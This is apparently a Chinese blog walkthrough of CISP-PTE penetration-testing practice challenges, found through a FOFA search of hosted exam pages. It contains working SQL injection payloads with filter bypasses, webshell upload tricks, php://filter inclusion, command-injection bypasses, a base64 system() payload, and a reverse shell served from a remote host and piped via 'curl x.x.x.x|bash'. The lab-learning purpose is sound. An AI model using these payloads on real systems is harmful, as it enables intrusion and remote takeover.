白嫖CSIP-PTE题目及通关
前言
一直以来想考一个CISP-PTE的证书,但他的价格实在也是"亲民"(考证加培训大概2w多,md,谁考的起),但是不去考证练他的训练题也找不到,今天教一手如何去白嫖题目 打开万能的FOFA引擎 输入
body="CISP-PTE"
有些网站打开就是他的题目哦,白嫖真香 接下来就可以愉快的进行通关了
解题过程
SQL注入
进入关卡 这里直接将SQL语句告诉了你,根据SQL语句就是判断出闭合方式应该为%') ,如何再加上注释符即可,需要注意的是,这里#是被过滤了,所以用–+注释 判断字段数
1%') order by 5--+ #回显正常
1%') order by 10--+
1%') order by 8--+ #回显错误
1%') order by 7--+
所以判断字段数为7,确实回显位置
-1%') ununionion select 1,2,3,4,5,6,7--+
需要注意的是这里union被过滤了,双写即可绕过 题目说flag在/tmp/key 文件中,用load_file 查看即可
-1%') ununionion select 1,load_file("/tmp/key"),3,4,5,6,7--+
文件上传
进入题目 首先在一个空文档里写入一句话,然后将后缀改为jpg上传试试 jpg文件都被拦了,猜测可能是对文件内容有过滤,将eval大小写混合试一下 再次上传发现就可以上传成功了 如何在上传的时候使用burp拦包,经测试,这里不管是后缀大小写、加点、加空格、双写后缀、phtml、php3、php5、.htaccess、.user.ini文件均被拦截,那这里应该是白名单过滤了,尝试使用00截断 可以看到文件上传成功,访问上传的1.php利用一句话传参拿flag 这里说下,cat命令查看的话还必须要在源代码里面才能看到flag,而tac命令可以直接显示在页面上
文件包含
进入题目 利用file进行传参,没啥好说的,直接filter协议查看key值 将结果base64解码一下即可
命令执行
进入题目 也没啥好说的,经过fuzz发现过滤了一些查看文件内容的命令,如cat、tac、less、more、tail这些,将tac中间加入一个\即可
127.0.0.1;t\ac ../key.php
验证码爆破
进入题目 burp抓包进行爆破就对了,如果对验证码爆破不了解请看我的前一篇文章
爆破成功,输入密码拿flag
SQL注入
进入题目 页面直接将要执行的SQL语句打印在了屏幕上,根据SQL语句判断闭合方式应该为’),如何后面加上注释符即可,需要注意的是这里#和–+都被过滤了,所以这里使用00截断进行注释
1');%00
判断字段数
1') order by 1;%00
这里可以看到输入的空格也被过滤了,所以用%0a代替空格
1') %0a order %0a by %0a 5;%00 #回显错误
1') %0a order %0a by %0a 4;%00
所以判断字段数为4 确定回显位置
-1') %0a ununionion %0a select %0a 1,2,3,4;%00
这里需要注意的是union被过滤了,采用双写即可绕过 如何根据题目提示使用load_file 读取/tmp/key 的内容
-1') %0a ununionion %0a select %0a 1,load_file("/tmp/key"),3,4;%00
文件上传
进入题目 首先在空文档里写入一句话然后将后缀改为jpg进行上传 可以看到上传成功,对文件内容应该是没有过滤的,然后使用burp抓包进行修改后缀 上传php3后缀成功,访问1.php3 很可惜,虽然上传成功了,但是里面的代码并没有被成功执行,尝试后缀大小写上传 可以看到也上传成功了,访问1.phP 可以看到这次代码被成功执行了,使用x传参读flag
文件包含
进入题目 直接filter协议查看flag 将结果base64解码一下即可
命令执行
进入题目 经过fuzz可知也就过滤了ls、cat、more一些常见的命令,利用tac命令读文件即可
127.0.0.1;tac ../key.php
日志分析
进入题目 得到一个非常大的日志文件,先将他们复制到1.log里 内容实在太多,现在响应状态码为200的挑选出来
awk '($9 ~ /200/)' 1.log > 2.log
查看2.log,终于在一处看到了一些奇怪的地方(这里真的看了很久很久,眼睛都要看瞎了) 这里看到三个可疑页面:adminlogin.php、upload.php、upload.php?action=upfile 依次进行访问 adminlogin.php 一个登入页面,但是不知道账号密码 upload.php 和upload.php?action=upfile 页面结果都是一篇空白,看到php结尾,并且是一篇空白,猜想可能是一句话木马,但是又不知道密码。前面adminlogin.php 页面也不知道账号密码,那只能去尝试爆破一下了 竟然发现爆破出来了,使用admin:password123 进行登入发现就可以得到flag
二阶SQL注入
进入题目 进入让我注册一个用户,然后题目描述使用admin登入后,就可以获得key1,瞬间让我想起了刷过的sqli-labs,这不跟那个二次注入一样吗 首先注册一个admin'# 账户,密码设置为123456 然后使用admin'#:123456 进行登入 这里显示不是admin用户,那点击重置密码 将密码重置为456789 然后再回到登入的页面使用admin:456789 进入登入发现就会成功
文件上传
进入题目 首先在一个空文档里面写入一句话,然后将后缀改为jpg,看对文件内容是否有拦截 图片上传失败,那对文件内容肯定有拦截,将eval函数进行大小写替换 再次进行上传发现就能成功上传了 使用burp抓包改后缀 上传成功,访问1.php 文件代码被成功解析,使用x传参读取flag
文件包含
进入题目 使用file进行传参 再次使用filter协议读取文件 这次发现就不行了,经过测试,file后面只要不是view.html就是显示error,那只能从view.html文件里找线索了 访问view.html文件,查看源代码 发现一串php代码,并且有一串base64密文,进行解密 妥妥的一句话木马,构造payload,将要输入的命令base64加密一下即可 POST内容:Hello=1&z0=c3lzdGVtKCd0YWMgL3Zhci93d3cvaHRtbC9rZXkucGhwJyk7
代码审计
进入题目 审计一下代码,代码也很简单,首先会用cmd已get的方式接受你输入的内容,然后会将你输入内容的长度打印出来,然后如果传入的数据不为空并且长度小于或等于30的话就是使用exec函数去执行这个命令,否则就会执行highlight_file函数,最后会打印一下你当前的IP 这里有一个非常重要的地方,就是你传进来的内容如果小于30虽然他会使用exec去执行这条命令,但不会打印在屏幕上,因为没有输入函数,所以这里只能考虑反弹shell 因为输入的长度只能小于30,所以反弹shell的条件也是很苛刻的,但是可以使用curl进行反弹shell 准备一台服务器 进入/var/www/html 目录,将index.html 修改为以下内容
bash -i >& /dev/tcp/x.x.x.x/7777 0>&1
开启apache服务
service apache2 restart
然后使用nc监听本地的7777端口 然后在题目的位置进行传参
?cmd=curl x.x.x.x|bash
然后查看监听的7777端口发现会成功反弹回来一个shell 查找一下key 成功获取key
命令执行
进入题目 经过fuzz发现管道符 ;、|、||、均被过滤,但是&没有被过滤 然后像ls、whoami、cat、tac、more、less、tail这些命令均被过滤了 最重点的是,他把php给过滤了,但是最终要看的文件名为key.php 不过也是小问题,在中间加上\均可逃过过滤 最终payload
127.0.0.1 && t\ac /var/www/html/key.p\hp
总结
总的来说,这些题目对我来说有些还是有点难度的,基本都是跟CTF类型的题目比较接近,经常刷CTF的大佬做这些题肯定也是分分钟秒杀的,很多地方确实需要头脑去思考,一定要仔细,就像题目里的日志审计,我就是一个一个数据包看的,可能有更好的方法,还是代码审计这个题目,刚做时总在想命令没有回显怎么办呢,也是看了以前的打靶记录看到反弹shell突然灵机一闪,反正总结就一句话,脑袋要懂得转弯,再就是一定要细心细心!!!
|